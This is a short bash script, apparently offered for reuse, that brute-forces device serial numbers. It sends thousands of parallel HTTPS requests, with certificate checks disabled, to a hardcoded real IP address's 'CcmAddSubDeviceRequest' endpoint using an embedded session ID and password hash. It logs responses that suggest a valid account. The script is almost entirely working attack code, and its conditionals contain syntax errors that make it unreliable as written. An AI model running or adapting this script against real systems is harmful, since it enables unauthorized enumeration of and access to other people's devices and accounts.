This script can be used/modified to run a command a certain amount of times. this one is developed to run in hex so that you can use the random vars

loop http(ie)

set +m

from=100000 to=999999
if test "${#from}" -gt "${#to}"; then
    format="%0${#from}X"
else
    format="%0${#to}X"
fi
from=$(printf '%d' "0x$from") to=$(printf '%d' "0x$to")
pids=()
while test "$from" -le "$to"; do
    if (( $from % 10000 == 0 )) then
        printf "\033[1;33mMade it to $from AKA $format...\n\n\033[0m" "$from"
    elif (( $from % 1000 == 0 )) then
        printf "Made it to $from AKA $format...\n" "$from"
    fi
    if (( $from % 100 == 0 )) then
        for pid in ${pids[@]}; do
            wait $pid
        done
        pids=()
    fi
    _op() {
        ret=$(http --verify=no 'https://54.39.133.18:3446/ccm/CcmAddSubDeviceRequest.js?hfrom_handle=754905&dSerialNumber=1jfiegb$(printf "$format" "$from")&dpass=31f34835702076eb9c8bbf221aff5394&dSession=1&dSession_Nid=MOnk4Gcu59vyHM3gEIntWRZCDmJjP1Dz&dSession_SerialNumber=MS' 'Connection: keep-alive' 'Pragma: no-cache' 'Cache-Control: no-cache' 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36' 'Accept: */*' 'Sec-Fetch-Site: same-origin' 'Sec-Fetch-Mode: no-cors' 'Referer: https://54.39.133.18:3446/main.htm?timeOut=10000' 'Accept-Encoding: gzip, deflate, br' 'Accept-Language: en-US,en;q=0.9')
        if  [[ $ret == *"accounts.user.invalid"* ]]; then
        elif [[ $ret == *"accounts.pass.invalid"* ]]; then
            printf "\033[1;33m   [*][*] $format contains something special:\n\033[0m" "$from"
            echo "$ret" >> out.txt
        else;
            printf "\033[1;33m   [*][*] $format contains something special:\n\033[0m" "$from"
            echo "$ret" >> out.txt
        fi
    }
    _op &
    pids+=( $! )
    from=$((from+1))
done